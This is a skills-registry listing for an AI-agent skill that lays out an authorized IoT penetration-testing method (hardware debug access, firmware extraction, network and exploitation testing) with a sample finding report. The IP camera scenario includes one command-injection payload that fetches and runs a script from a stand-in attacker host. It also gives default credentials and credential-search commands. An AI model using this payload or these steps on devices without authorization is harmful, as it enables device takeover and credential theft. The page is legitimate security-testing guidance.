performing-iot-security-assessment

mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026

MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.

$npx skills install mukul975/Anthropic-Cybersecurity-Skills/performing-iot-security-assessment
0 commentsdiscussion
summary

Performs comprehensive security assessments of IoT devices and their ecosystems by testing hardware interfaces, firmware, network communications, cloud APIs, and companion mobile applications. The tester uses firmware extraction and analysis, hardware debugging via UART and JTAG, network protocol analysis, and runtime exploitation to identify vulnerabilities across all layers of the IoT stack. Activates for requests involving IoT security testing, embedded device assessment, firmware security analysis, or smart device penetration testing.

skill.md
name
performing-iot-security-assessment
description
'Performs comprehensive security assessments of IoT devices and their ecosystems by testing hardware interfaces, firmware, network communications, cloud APIs, and companion mobile applications. The tester uses firmware extraction and analysis, hardware debugging via UART and JTAG, network protocol analysis, and runtime exploitation to identify vulnerabilities across all layers of the IoT stack. Activates for requests involving IoT security testing, embedded device assessment, firmware security analysis, or smart device penetration testing. '
domain
cybersecurity
subdomain
penetration-testing
tags
- IoT-security - firmware-analysis - embedded-systems - hardware-hacking - UART-JTAG
version
1.0.0
author
mahipal
license
Apache-2.0
nist_csf
- ID.RA-01 - ID.RA-06 - GV.OV-02 - DE.AE-07

Performing IoT Security Assessment

When to Use

  • Evaluating the security of IoT devices before deployment in enterprise or critical infrastructure environments
  • Assessing consumer IoT products for security vulnerabilities as part of product security review or certification
  • Testing industrial IoT (IIoT) devices for vulnerabilities that could affect operational technology environments
  • Analyzing firmware for backdoors, hardcoded credentials, and known vulnerabilities in embedded components
  • Evaluating the security of the complete IoT ecosystem including device, cloud backend, and mobile companion app

Do not use against IoT devices without written authorization, for modifying firmware on devices you do not own, or against medical devices or safety-critical systems without specific medical device testing authorization and safety protocols.

Prerequisites

  • Physical access to the target IoT device(s) for hardware analysis and testing
  • Hardware tools: USB-to-UART adapter (FTDI), Bus Pirate, logic analyzer, JTAG debugger (Segger J-Link), SPI flash programmer (CH341A)
  • Firmware analysis tools: Binwalk, Firmwalker, Firmware Analysis Toolkit (FAT), Ghidra, QEMU for emulation
  • Network analysis: Wireshark, tcpdump, Bluetooth tools (Ubertooth, nRF Connect), Zigbee tools (KillerBee)
  • Soldering equipment for accessing hardware debug points if needed

Workflow

Step 1: Device Reconnaissance and Hardware Analysis

Examine the physical device and identify attack surfaces:

  • External inspection: Document all physical interfaces (USB, Ethernet, serial ports, SD card slots), labels, FCC ID, and model numbers
  • FCC ID lookup: Search the FCC database (fcc.gov/oet/ea/fccid) using the FCC ID to find internal photos, schematics, and radio frequency information
  • PCB analysis: Open the device enclosure and photograph the PCB. Identify:
    • Main processor/SoC (read markings, search datasheet)
    • Flash memory chips (SPI NOR, NAND, eMMC)
    • Debug headers and test points
    • UART/JTAG/SWD pins (look for 4-pin or 10-pin headers, or unpopulated pads)
  • UART identification: Use a multimeter to identify UART pins (TX, RX, GND, VCC). Connect USB-to-UART adapter and attempt serial console access at common baud rates (9600, 38400, 57600, 115200)
  • JTAG identification: Use JTAGulator or manual probing to identify JTAG pins (TCK, TMS, TDI, TDO, TRST). Connect JTAG debugger for memory access and debugging.

Step 2: Firmware Extraction and Analysis

Extract and analyze the device firmware:

  • Firmware acquisition methods:
    • Download from manufacturer website or update server
    • Extract from flash memory using SPI programmer: connect CH341A to SPI flash, read with flashrom -p ch341a_spi -r firmware.bin
    • Capture over-the-air updates via network interception
    • Extract from UART bootloader console (U-Boot: md.b memory dump)
  • Firmware unpacking: binwalk -e firmware.bin to extract filesystem, kernel, and bootloader components
  • Filesystem analysis:
    • Search for credentials: grep -rn "password\|passwd\|secret\|key" squashfs-root/
    • Examine /etc/shadow for password hashes
    • Review startup scripts in /etc/init.d/ for insecure service configurations
    • Identify web server configurations and CGI scripts for web interface vulnerabilities
    • Use Firmwalker: ./firmwalker.sh squashfs-root/ for automated sensitive data discovery
  • Binary analysis: Use Ghidra to reverse engineer key binaries (web server, management daemon, authentication modules) for hardcoded credentials, command injection, and buffer overflow vulnerabilities
  • Known vulnerability scanning: Extract software versions and cross-reference with CVE databases. Use firmware-analysis-toolkit for automated CVE scanning.

Step 3: Network Communication Analysis

Analyze all network traffic from the IoT device:

  • Traffic capture: Connect the device to a network with traffic mirroring (SPAN port) or use an inline transparent bridge. Capture all traffic with Wireshark.
  • Protocol analysis: Identify all protocols used (HTTP, HTTPS, MQTT, CoAP, AMQP, custom TCP/UDP). Check for unencrypted sensitive data transmission.
  • TLS analysis: Verify TLS implementation: certificate validation, cipher suite strength, certificate pinning. Attempt MITM interception with Burp Suite.
  • Cloud API analysis: Intercept device-to-cloud communication to identify API endpoints, authentication methods, and data transmitted. Test for IDOR, authentication bypass, and excessive data exposure.
  • Bluetooth/BLE testing: Use nRF Connect or Ubertooth to enumerate BLE services and characteristics. Test for unauthenticated access, plaintext data transmission, and static pairing keys.
  • Zigbee/Z-Wave testing: Use KillerBee framework to capture and analyze Zigbee traffic, test for replay attacks, and check key exchange security.

Step 4: Firmware Emulation and Dynamic Testing

Emulate the firmware for dynamic security testing:

  • QEMU emulation: Use FirmAE or Firmadyne to emulate the extracted firmware: python3 fat.py firmware.bin to boot the firmware in an emulated environment
  • Web interface testing: Access the device's web management interface from the emulated environment and test for:
    • Default credentials (admin:admin, root:root, admin:password)
    • Command injection in configuration parameters
    • Authentication bypass via direct URL access
    • Cross-site scripting in all input fields
    • CSRF in state-changing operations
  • Service testing: Use Nmap to scan the emulated device for all open ports and test each service for known vulnerabilities
  • Fuzzing: Fuzz network services using Boofuzz or AFL to discover memory corruption vulnerabilities in embedded services

Step 5: Exploitation and Impact Demonstration

Exploit identified vulnerabilities to demonstrate impact:

  • Remote code execution: Chain discovered vulnerabilities (command injection, buffer overflow) to achieve remote code execution on the device
  • Credential extraction: Extract and crack credentials found in firmware, memory dumps, or network captures
  • Lateral movement: Demonstrate how a compromised IoT device can be used to attack other devices on the network
  • Persistence: Show how an attacker could maintain access to the device across firmware updates or reboots
  • Physical impact: For IIoT devices, demonstrate the potential for physical manipulation (changing sensor readings, modifying actuator commands)

Key Concepts

TermDefinition
UARTUniversal Asynchronous Receiver/Transmitter; a serial communication interface commonly used for debug consoles on embedded devices, often providing root shell access
JTAGJoint Test Action Group; a hardware debugging interface that provides direct access to the processor for memory reading, code debugging, and firmware extraction
FirmwareThe software embedded in the device's flash memory that controls its operation, typically consisting of a bootloader, operating system kernel, and root filesystem
BinwalkA firmware analysis tool that identifies and extracts embedded file systems, compressed archives, and binary components from firmware images
MQTTMessage Queuing Telemetry Transport; a lightweight publish/subscribe protocol commonly used for IoT device communication, often deployed without authentication
BLEBluetooth Low Energy; a wireless protocol used by many IoT devices for short-range communication, susceptible to eavesdropping and unauthorized access if not properly secured

Tools & Systems

  • Binwalk: Firmware extraction and analysis tool that identifies file system types, compression formats, and embedded data within firmware images
  • Ghidra: NSA's open-source reverse engineering framework for analyzing embedded device binaries across ARM, MIPS, and other architectures
  • FirmAE/Firmadyne: Automated firmware emulation platforms that boot extracted Linux-based IoT firmware in QEMU for dynamic testing
  • Bus Pirate: Hardware hacking multi-tool supporting UART, SPI, I2C, and JTAG protocols for interfacing with embedded device debug interfaces
  • Wireshark: Network protocol analyzer for capturing and analyzing IoT device network traffic across all protocol layers

Common Scenarios

Scenario: Enterprise IP Camera Security Assessment

Context: A company plans to deploy 200 IP cameras from a single vendor across its offices. Before deployment, the security team requests a penetration test of the camera to identify vulnerabilities that could be exploited to gain access to the corporate network.

Approach:

  1. Open the camera and identify UART pins on the PCB; connect and access a root shell at 115200 baud with no password
  2. Extract firmware from the SPI flash chip and analyze with Binwalk: discover embedded Linux with BusyBox, lighttpd web server, and custom management daemon
  3. Find hardcoded credentials in /etc/shadow (root:$1$abc$hashedpassword) and crack the MD5 hash in seconds (password: camera123)
  4. Web interface testing reveals command injection in the NTP server configuration field: ; wget http://attacker.com/shell.sh | sh
  5. Network analysis shows the camera sends RTSP streams unencrypted and has ONVIF services exposed without authentication
  6. Demonstrate pivoting: from the compromised camera, scan the corporate network and access 3 internal servers
  7. Report recommends network segmentation, firmware vendor engagement, and deployment of cameras on an isolated VLAN

Pitfalls:

  • Focusing only on the web interface and missing UART/JTAG access that provides a root shell with no authentication
  • Not analyzing the firmware for hardcoded credentials that may be shared across all devices of the same model
  • Testing the device in isolation and missing network-level risks from deploying vulnerable devices on the corporate network
  • Overlooking the cloud connectivity and mobile app components that may expose additional attack surfaces

Output Format

## Finding: Unauthenticated Root Shell via UART Debug Interface

**ID**: IOT-001
**Severity**: Critical (CVSS 9.0)
**Device**: ModelCam X200 IP Camera (Firmware v3.2.1)
**Interface**: UART serial console (115200 baud, 8N1)

**Description**:
The IP camera exposes a UART serial interface on the PCB that provides
direct root shell access without authentication. An attacker with physical
access to the device can connect a USB-to-UART adapter and obtain full
root access to the embedded Linux operating system.

**Proof of Concept**:
1. Opened device enclosure (4 Philips screws, no tamper detection)
2. Connected FTDI adapter to UART pins (J3 header on PCB)
3. Serial terminal at 115200 8N1: immediate root shell prompt
4. root@camera:~# id -> uid=0(root) gid=0(root)

**Additional Findings from Root Access**:
- /etc/shadow contains hardcoded root password (camera123) shared across all units
- WiFi credentials for any configured network stored in plaintext at /etc/wireless.conf
- RTSP stream accessible without authentication on port 554

**Impact**:
Physical access to any deployed camera grants root access to the network.
With 200 cameras deployed across offices, each camera becomes a potential
network entry point with root-level command execution capability.

**Remediation**:
1. Disable UART console access or require authentication in production firmware
2. Remove hardcoded credentials; use per-device unique passwords generated at manufacture
3. Encrypt stored WiFi credentials using a hardware-backed key
4. Deploy cameras on an isolated VLAN with no access to the corporate network
how to use performing-iot-security-assessment

How to use performing-iot-security-assessment on Cursor

AI-first code editor with Composer

1

Prerequisites

Before installing skills in Cursor, ensure your development environment meets these requirements:

  • Cursor installed and configured on your development machine
  • Node.js version 16.0+ with npm package manager (verify with node --version)
  • Active project directory or workspace where you want to add performing-iot-security-assessment
2

Execute installation command

Execute the skills CLI command in your project's root directory to begin installation:

$npx skills install mukul975/Anthropic-Cybersecurity-Skills/performing-iot-security-assessment

The skills CLI fetches performing-iot-security-assessment from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.

3

Select Cursor when prompted

The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:

◆ Which agents do you want to install to?
│ ── Universal (.agents/skills) ── always included ────
│ • Amp
│ • Antigravity
│ • Cline
│ • Codex
│ ●Cursor(selected)
│ • Cursor
│ • Windsurf
4

Verify installation

Confirm successful installation by checking the skill directory location:

.cursor/skills/performing-iot-security-assessment

Reload or restart Cursor to activate performing-iot-security-assessment. Access the skill through slash commands (e.g., /performing-iot-security-assessment) or your agent's skill management interface.

Security & Verification Notice

We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.

Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.

List & Monetize Your Skill

Submit your Claude Code skill and start earning

GET_STARTED →

Use Cases

Task Automation & Efficiency

Automate repetitive workflows and reduce manual effort

Example

Generate reports, summarize documents, draft communications

Save 3-5 hours per week on routine tasks

Knowledge Enhancement

Learn new skills, understand complex topics, get expert guidance

Example

Explain concepts, provide examples, suggest learning resources

Accelerate learning and skill development by 2x

Quality Improvement

Enhance output quality through reviews, suggestions, and refinements

Example

Review drafts, suggest improvements, catch errors

Improve work quality by 30-40% with less effort

Implementation Guide

Prerequisites

  • Claude Desktop or compatible AI client with skill support
  • Clear understanding of task or problem to solve
  • Willingness to iterate and refine outputs

Time Estimate

15-45 minutes depending on use case complexity

Installation Steps

  1. 1.Install skill using provided installation command
  2. 2.Test with simple use case relevant to your work
  3. 3.Evaluate output quality and relevance
  4. 4.Iterate on prompts to improve results
  5. 5.Integrate into regular workflow if valuable

Common Pitfalls

  • Expecting perfect results without iteration
  • Not providing enough context in prompts
  • Using skill for tasks outside its intended scope
  • Accepting outputs without review and validation

Best Practices

✓ Do

  • +Start with clear, specific prompts
  • +Provide relevant context and constraints
  • +Review and refine all outputs before using
  • +Iterate to improve output quality
  • +Document successful prompt patterns

✗ Don't

  • Don't use without understanding skill limitations
  • Don't skip validation of outputs
  • Don't share sensitive information in prompts
  • Don't expect skill to replace human judgment

💡 Pro Tips

  • Be specific about desired format and style
  • Ask for multiple options to choose from
  • Request explanations to understand reasoning
  • Combine AI efficiency with human expertise

When to Use This

✓ Use When

Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.

✗ Avoid When

Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.

Learning Path

  1. 1Familiarize yourself with skill capabilities and limitations
  2. 2Start with low-risk, non-critical tasks
  3. 3Progress to more complex and valuable use cases
  4. 4Build expertise through regular use and experimentation

Discussion

Product Hunt–style comments (not star reviews)
  • No comments yet — start the thread.
general reviews

Ratings

4.627 reviews
  • William Okafor· Dec 20, 2024

    Useful defaults in performing-iot-security-assessment — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.

  • Aanya Gupta· Dec 16, 2024

    Keeps context tight: performing-iot-security-assessment is the kind of skill you can hand to a new teammate without a long onboarding doc.

  • Michael Shah· Dec 8, 2024

    Registry listing for performing-iot-security-assessment matched our evaluation — installs cleanly and behaves as described in the markdown.

  • Ira Okafor· Nov 27, 2024

    performing-iot-security-assessment reduced setup friction for our internal harness; good balance of opinion and flexibility.

  • Fatima Ghosh· Nov 11, 2024

    performing-iot-security-assessment is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.

  • Fatima Anderson· Oct 2, 2024

    performing-iot-security-assessment reduced setup friction for our internal harness; good balance of opinion and flexibility.

  • Piyush G· Sep 25, 2024

    performing-iot-security-assessment reduced setup friction for our internal harness; good balance of opinion and flexibility.

  • Kiara Sharma· Sep 25, 2024

    performing-iot-security-assessment fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.

  • Liam Harris· Sep 9, 2024

    performing-iot-security-assessment has been reliable in day-to-day use. Documentation quality is above average for community skills.

  • Ava Shah· Aug 28, 2024

    performing-iot-security-assessment fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.

showing 1-10 of 27

1 / 3